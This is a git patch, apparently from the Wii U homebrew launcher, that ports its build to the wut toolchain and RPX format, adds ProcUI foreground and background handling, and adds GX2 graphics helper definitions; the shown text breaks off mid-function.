From 0ab8a1df46f800bbb0fd4d59668438f066efbc9e Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 19 Oct 2016 17:56:50 +0200 Subject: [PATCH 1/6] initial changes for an rpx homebrew launcher --- Makefile | 225 ++--- filelist.sh | 16 +- src/Application.cpp | 117 ++- src/Application.h | 6 + src/common/common.h | 2 +- src/common/fs_defs.h | 62 -- src/common/gx2_ext.h | 177 ++++ src/common/types.h | 2 +- src/dynamic_libs/ax_functions.c | 10 +- src/dynamic_libs/ax_functions.h | 23 +- src/dynamic_libs/exports.h | 26 + src/dynamic_libs/fs_functions.c | 120 --- src/dynamic_libs/fs_functions.h | 87 -- src/dynamic_libs/gx2_functions.c | 162 ---- src/dynamic_libs/gx2_functions.h | 205 ----- src/dynamic_libs/gx2_types.h | 699 --------------- src/dynamic_libs/os_functions.c | 148 ---- src/dynamic_libs/os_functions.h | 119 --- src/dynamic_libs/padscore_functions.c | 4 +- src/dynamic_libs/padscore_functions.h | 2 +- src/dynamic_libs/socket_functions.c | 67 -- src/dynamic_libs/socket_functions.h | 99 --- src/dynamic_libs/sys_functions.c | 40 - src/dynamic_libs/sys_functions.h | 42 - src/dynamic_libs/vpad_functions.c | 37 - src/dynamic_libs/vpad_functions.h | 101 --- src/entry.c | 8 +- src/fs/CFile.hpp | 2 +- src/fs/DirList.cpp | 19 +- src/fs/DirList.h | 7 +- src/fs/fs_utils.c | 10 +- src/fs/fs_utils.h | 2 +- src/fs/sd_fat_devoptab.c | 1019 ---------------------- src/fs/sd_fat_devoptab.h | 38 - src/gui/FreeTypeGX.cpp | 21 +- src/gui/FreeTypeGX.h | 3 +- src/gui/GuiElement.h | 3 +- src/gui/GuiImage.cpp | 8 +- src/gui/GuiImageAsync.cpp | 2 +- src/gui/GuiImageAsync.h | 1 - src/gui/GuiImageData.cpp | 44 +- src/gui/GuiImageData.h | 9 +- src/gui/GuiParticleImage.cpp | 6 +- src/gui/GuiSound.cpp | 1 - src/gui/GuiSound.h | 4 +- src/gui/GuiText.cpp | 4 +- src/gui/GuiText.h | 1 + src/gui/GuiTrigger.h | 3 +- src/gui/VPadController.h | 22 +- src/main.cpp | 36 +- src/main.h | 1 - src/menu/HomebrewLaunchWindow.cpp | 4 +- src/menu/HomebrewLoader.h | 2 +- src/menu/HomebrewWindow.cpp | 7 +- src/menu/MainWindow.cpp | 2 - src/menu/TcpReceiver.cpp | 7 +- src/menu/TcpReceiver.h | 1 - src/resources/Resources.cpp | 1 - src/resources/Resources.h | 2 +- src/resources/filelist.h | 64 +- src/sounds/BufferCircle.cpp | 1 + src/sounds/BufferCircle.hpp | 2 +- src/sounds/Mp3Decoder.cpp | 2 +- src/sounds/OggDecoder.cpp | 1 - src/sounds/SoundDecoder.cpp | 3 +- src/sounds/SoundHandler.cpp | 25 +- src/sounds/SoundHandler.hpp | 2 +- src/sounds/Voice.h | 68 +- src/system/CMutex.h | 6 +- src/system/CThread.h | 13 +- src/system/exception_handler.c | 15 +- src/system/memory.c | 75 +- src/utils/HomebrewXML.cpp | 2 +- src/utils/StringTools.cpp | 2 +- src/utils/StringTools.h | 2 +- src/utils/logger.c | 5 +- src/utils/net.c | 2 +- src/utils/utils.c | 17 + src/video/CVideo.cpp | 164 ++-- src/video/CVideo.h | 28 +- src/video/shaders/ColorShader.cpp | 18 +- src/video/shaders/FXAAShader.cpp | 16 +- src/video/shaders/FXAAShader.h | 4 +- src/video/shaders/FetchShader.h | 8 +- src/video/shaders/PixelShader.h | 92 +- src/video/shaders/Shader.h | 33 +- src/video/shaders/Shader3D.cpp | 26 +- src/video/shaders/Shader3D.h | 4 +- src/video/shaders/ShaderFractalColor.cpp | 373 -------- src/video/shaders/ShaderFractalColor.h | 124 --- src/video/shaders/Texture2DShader.cpp | 24 +- src/video/shaders/Texture2DShader.h | 4 +- src/video/shaders/VertexShader.h | 102 +-- 93 files changed, 924 insertions(+), 4301 deletions(-) delete mode 100644 src/common/fs_defs.h create mode 100644 src/common/gx2_ext.h create mode 100644 src/dynamic_libs/exports.h delete mode 100644 src/dynamic_libs/fs_functions.c delete mode 100644 src/dynamic_libs/fs_functions.h delete mode 100644 src/dynamic_libs/gx2_functions.c delete mode 100644 src/dynamic_libs/gx2_functions.h delete mode 100644 src/dynamic_libs/gx2_types.h delete mode 100644 src/dynamic_libs/os_functions.c delete mode 100644 src/dynamic_libs/os_functions.h delete mode 100644 src/dynamic_libs/socket_functions.c delete mode 100644 src/dynamic_libs/socket_functions.h delete mode 100644 src/dynamic_libs/sys_functions.c delete mode 100644 src/dynamic_libs/sys_functions.h delete mode 100644 src/dynamic_libs/vpad_functions.c delete mode 100644 src/dynamic_libs/vpad_functions.h delete mode 100644 src/fs/sd_fat_devoptab.c delete mode 100644 src/fs/sd_fat_devoptab.h create mode 100644 src/utils/utils.c delete mode 100644 src/video/shaders/ShaderFractalColor.cpp delete mode 100644 src/video/shaders/ShaderFractalColor.h diff --git a/Makefile b/Makefile index 0f9918e..d4c4d9b 100644 --- a/Makefile +++ b/Makefile @@ -2,192 +2,107 @@ # Clear the implicit built in rules #--------------------------------------------------------------------------------- .SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") + +ifeq ($(strip $(WUT_ROOT)),) +$(error "Please ensure WUT_ROOT is in your environment.") endif -ifeq ($(strip $(DEVKITPRO)),) -$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") + +ifeq ($(findstring CYGWIN,$(shell uname -s)),CYGWIN) +ROOT := $(shell cygpath -w ${CURDIR}) +WUT_ROOT := $(shell cygpath -w ${WUT_ROOT}) +else +ROOT := $(CURDIR) endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii + + export PORTLIBS := $(DEVKITPRO)/portlibs/ppc -PREFIX := powerpc-eabi- +include $(WUT_ROOT)/rules/rpl.mk -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy +AS := $(PREFIX)as -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := homebrew_launcher -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src \ - src/dynamic_libs \ - src/fs \ - src/game \ - src/gui \ - src/kernel \ - src/loader \ - src/menu \ - src/network \ - src/patcher \ - src/resources \ - src/settings \ - src/sounds \ - src/system \ - src/utils \ - src/video \ - src/video/shaders -DATA := data \ - data/images \ - data/fonts \ - data/sounds +TARGET := $(notdir $(CURDIR)) +BUILD := build +SOURCE := src \ + src/dynamic_libs \ + src/fs \ + src/game \ + src/gui \ + src/kernel \ + src/loader \ + src/menu \ + src/network \ + src/patcher \ + src/resources \ + src/settings \ + src/sounds \ + src/system \ + src/utils \ + src/video \ + src/video/shaders +INCLUDE := src +DATA := data \ + data/images \ + data/fonts \ + data/sounds +LIBS := -lgcc -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lgd -lpng -lz -lfreetype -lmad -lvorbisidec -INCLUDES := src +CFLAGS += -O3 -std=gnu11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing +CXXFLAGS += -O3 -std=gnu++11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections - -#--------------------------------------------------------------------------------- -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := -lgcc -lgd -lpng -lz -lfreetype -lmad -lvorbisidec - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -FILELIST := $(shell bash ./filelist.sh) -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +export OUTPUT := $(ROOT)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCE),$(ROOT)/$(dir)) \ + $(foreach dir,$(DATA),$(ROOT)/$(dir)) +export BUILDDIR := $(ROOT) +export DEPSDIR := $(BUILDDIR) + +CFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.c))) +CXXFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.S))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) +ifeq ($(strip $(CXXFILES)),) +export LD := $(CC) else - export LD := $(CXX) +export LD := $(CXX) endif -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 +export OFILES := $(CFILES:.c=.o) \ + $(CXXFILES:.cpp=.o) \ + $(SFILES:.S=.o) \ + $(addsuffix .o,$(BINFILES)) +export INCLUDES := $(foreach dir,$(INCLUDE),-I$(ROOT)/$(dir)) \ + -I$(ROOT)/$(BUILD) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 #--------------------------------------------------------------------------------- # build a list of library paths #--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib +export LIB_DIRS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(PORTLIBS)/lib -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install +.PHONY: $(BUILD) clean -#--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + @$(MAKE) --no-print-directory -C $(BUILD) -f $(ROOT)/Makefile -#--------------------------------------------------------------------------------- clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @echo "[RM] $(notdir $(OUTPUT))" + @rm -rf $(BUILD) $(OUTPUT).elf $(OUTPUT).rpx $(OUTPUT).a -#--------------------------------------------------------------------------------- else -DEPENDS := $(OFILES:.o=.d) +# workaround as wut overwrites the LIBPATHS with its rules -> not cool +export LIBPATHS := $(LIBPATHS) $(LIB_DIRS) -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) +DEPENDS := $(OFILES:.o=.d) -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ +$(OUTPUT).rpx: $(OUTPUT).elf +$(OUTPUT).elf: $(OFILES) -../data/loader.bin: - $(MAKE) -C ../loader clean - $(MAKE) -C ../loader -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.png.o : %.png diff --git a/filelist.sh b/filelist.sh index 87cbee1..15addd3 100644 --- a/filelist.sh +++ b/filelist.sh @@ -42,15 +42,13 @@ cat < $outFile #ifndef _FILELIST_H_ #define _FILELIST_H_ -#include - typedef struct _RecourceFile { - const char *filename; - const u8 *DefaultFile; - const u32 &DefaultFileSize; - u8 *CustomFile; - u32 CustomFileSize; + const char *filename; + const unsigned char *DefaultFile; + const unsigned int &DefaultFileSize; + unsigned char *CustomFile; + unsigned int CustomFileSize; } RecourceFile; EOF @@ -59,8 +57,8 @@ for i in ${files[@]} do filename=${i%.*} extension=${i##*.} - echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile - echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile + echo 'extern const unsigned char '$filename'_'$extension'[];' >> $outFile + echo 'extern const unsigned int '$filename'_'$extension'_size;' >> $outFile echo '' >> $outFile done diff --git a/src/Application.cpp b/src/Application.cpp index 8551e14..a51d344 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -14,14 +14,17 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ +#include +#include +#include #include "Application.h" #include "common/common.h" -#include "dynamic_libs/os_functions.h" #include "gui/FreeTypeGX.h" #include "gui/VPadController.h" #include "gui/WPadController.h" #include "resources/Resources.h" #include "sounds/SoundHandler.hpp" +#include "system/memory.h" #include "utils/logger.h" Application *Application::applicationInstance = NULL; @@ -32,6 +35,7 @@ Application::Application() , bgMusic(NULL) , video(NULL) , mainWindow(NULL) + , fontSystem(NULL) , exitCode(EXIT_RELAUNCH_ON_LOAD) { controller[0] = new VPadController(GuiTrigger::CHANNEL_1); @@ -41,7 +45,7 @@ Application::Application() controller[4] = new WPadController(GuiTrigger::CHANNEL_5); //! load resources - Resources::LoadFiles("sd:/wiiu/apps/homebrew_launcher/resources"); + Resources::LoadFiles("fs:/wiiu/apps/homebrew_launcher/resources"); //! create bgMusic bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg")); @@ -50,6 +54,8 @@ Application::Application() bgMusic->SetVolume(50); exitApplication = false; + + ProcUIInit(OSSavesDone_ReadyToRelease); } Application::~Application() @@ -71,6 +77,8 @@ Application::~Application() log_printf("Stop sound handler\n"); SoundHandler::DestroyInstance(); + + ProcUIShutdown(); } int Application::exec() @@ -98,9 +106,9 @@ void Application::fadeOut() video->prepareDrcRendering(); mainWindow->drawDrc(video); - GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); video->drcDrawDone(); @@ -109,9 +117,9 @@ void Application::fadeOut() mainWindow->drawTv(video); - GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); video->tvDrawDone(); @@ -131,27 +139,84 @@ void Application::fadeOut() video->drcEnable(false); } +bool Application::procUI(void) +{ + bool executeProcess = false; + + switch(ProcUIProcessMessages(true)) + { + case PROCUI_STATUS_EXITING: + { + quit(EXIT_RELAUNCH_ON_LOAD); + break; + } + case PROCUI_STATUS_RELEASE_FOREGROUND: + { + if(video != NULL) + { + // we can turn of the screen but we don't need to and it will display the last image + //video->tvEnable(false); + //video->drcEnable(false); + + log_printf("delete fontSystem\n"); + delete fontSystem; + fontSystem = NULL; + + log_printf("delete video\n"); + delete video; + video = NULL; + + log_printf("deinitialze memory\n"); + memoryRelease(); + ProcUIDrawDoneRelease(); + } + break; + } + case PROCUI_STATUS_IN_FOREGROUND: + { + if(video == NULL) + { + log_printf("initialze memory\n"); + memoryInitialize(); + + log_printf("Initialize video\n"); + video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); + log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); + + //! setup default Font + log_printf("Initialize main font system %p\n", Resources::GetFile("font.ttf")); + FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); + GuiText::setPresetFont(fontSystem); + + if(mainWindow == NULL) + { + log_printf("Initialize main window\n"); + mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); + } + + } + executeProcess = true; + break; + } + case PROCUI_STATUS_IN_BACKGROUND: + default: + break; + } + + return executeProcess; +} + + void Application::executeThread(void) { - log_printf("Initialize video\n"); - video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE); - - log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); - - //! setup default Font - log_printf("Initialize main font system\n"); - FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); - GuiText::setPresetFont(fontSystem); - - log_printf("Initialize main window\n"); - - mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); - log_printf("Entering main loop\n"); //! main GX2 loop (60 Hz cycle with max priority on core 1) while(!exitApplication) { + if(procUI() == false) + continue; + //! Read out inputs for(int i = 0; i < 5; i++) { @@ -192,9 +257,19 @@ void Application::executeThread(void) AsyncDeleter::triggerDeleteProcess(); } - fadeOut(); + log_printf("delete mainWindow\n"); delete mainWindow; + mainWindow = NULL; + + log_printf("delete fontSystem\n"); delete fontSystem; + fontSystem = NULL; + + log_printf("delete video\n"); delete video; + video = NULL; + + log_printf("deinitialze memory\n"); + memoryRelease(); } diff --git a/src/Application.h b/src/Application.h index e75a489..44f4dca 100644 --- a/src/Application.h +++ b/src/Application.h @@ -21,6 +21,9 @@ #include "video/CVideo.h" #include "system/CThread.h" +// forward declaration +class FreeTypeGX; + class Application : public CThread { public: @@ -59,6 +62,8 @@ private: Application(); virtual ~Application(); + bool procUI(void); + static Application *applicationInstance; static bool exitApplication; @@ -67,6 +72,7 @@ private: GuiSound *bgMusic; CVideo *video; MainWindow *mainWindow; + FreeTypeGX *fontSystem; GuiController *controller[5]; int exitCode; }; diff --git a/src/common/common.h b/src/common/common.h index 47c704b..025e197 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -10,7 +10,7 @@ extern "C" { #define HBL_VERSION "v1.2" #define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" +#define SD_PATH "fs:" #define WIIU_PATH "/wiiu" #ifndef MEM_BASE diff --git a/src/common/fs_defs.h b/src/common/fs_defs.h deleted file mode 100644 index feda725..0000000 --- a/src/common/fs_defs.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include "types.h" - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/src/common/gx2_ext.h b/src/common/gx2_ext.h new file mode 100644 index 0000000..2746298 --- /dev/null +++ b/src/common/gx2_ext.h @@ -0,0 +1,177 @@ +#ifndef __GX2_EXTENSION_H +#define __GX2_EXTENSION_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include +#include +#include +#include +#include +#include + +#define GX2_FALSE 0 +#define GX2_TRUE 1 +#define GX2_DISABLE 0 +#define GX2_ENABLE 1 + +#define GX2_COMMAND_BUFFER_SIZE 0x400000 +#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 +#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 +#define GX2_SHADER_ALIGNMENT 0x100 +#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 +#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 + +#define GX2_AA_BUFFER_CLEAR_VALUE 0xCC + +#define GX2_COMP_SEL_NONE 0x04040405 +#define GX2_COMP_SEL_X001 0x00040405 +#define GX2_COMP_SEL_XY01 0x00010405 +#define GX2_COMP_SEL_XYZ1 0x00010205 +#define GX2_COMP_SEL_XYZW 0x00010203 +#define GX2_COMP_SEL_XXXX 0x00000000 +#define GX2_COMP_SEL_YYYY 0x01010101 +#define GX2_COMP_SEL_ZZZZ 0x02020202 +#define GX2_COMP_SEL_WWWW 0x03030303 +#define GX2_COMP_SEL_WZYX 0x03020100 +#define GX2_COMP_SEL_WXYZ 0x03000102 + +static const u32 attribute_dest_comp_selector[20] = { + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW +}; + +static const u32 texture_comp_selector[54] = { + GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 +}; + +typedef struct _GX2Color { + u8 r, g, b, a; +} GX2Color; + +typedef struct _GX2ColorF32 { + f32 r, g, b, a; +} GX2ColorF32; + +static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) +{ + depthBuffer->surface.dim = dim; + depthBuffer->surface.width = width; + depthBuffer->surface.height = height; + depthBuffer->surface.depth = depth; + depthBuffer->surface.mipLevels = 1; + depthBuffer->surface.format = format; + depthBuffer->surface.aa = aa; + depthBuffer->surface.use = (GX2SurfaceUse)(((format==GX2_SURFACE_FORMAT_UNORM_R24_X8) || (format==GX2_SURFACE_FORMAT_FLOAT_D24_S8)) ? + GX2_SURFACE_USE_DEPTH_BUFFER : (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE)); + depthBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; + depthBuffer->surface.swizzle = 0; + depthBuffer->viewMip = 0; + depthBuffer->viewFirstSlice = 0; + depthBuffer->viewNumSlices = depth; + depthBuffer->depthClear = 1.0f; + depthBuffer->stencilClear = 0; + depthBuffer->hiZPtr = NULL; + depthBuffer->hiZSize = 0; + GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); + GX2InitDepthBufferRegs(depthBuffer); +} + +static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) +{ + colorBuffer->surface.dim = dim; + colorBuffer->surface.width = width; + colorBuffer->surface.height = height; + colorBuffer->surface.depth = depth; + colorBuffer->surface.mipLevels = 1; + colorBuffer->surface.format = format; + colorBuffer->surface.aa = aa; + colorBuffer->surface.use = GX2_SURFACE_USE_TEXTURE_COLOR_BUFFER_TV; + colorBuffer->surface.imageSize = 0; + colorBuffer->surface.image = NULL; + colorBuffer->surface.mipmapSize = 0; + colorBuffer->surface.mipmaps = NULL; + colorBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; + colorBuffer->surface.swizzle = 0; + colorBuffer->surface.alignment = 0; + colorBuffer->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; 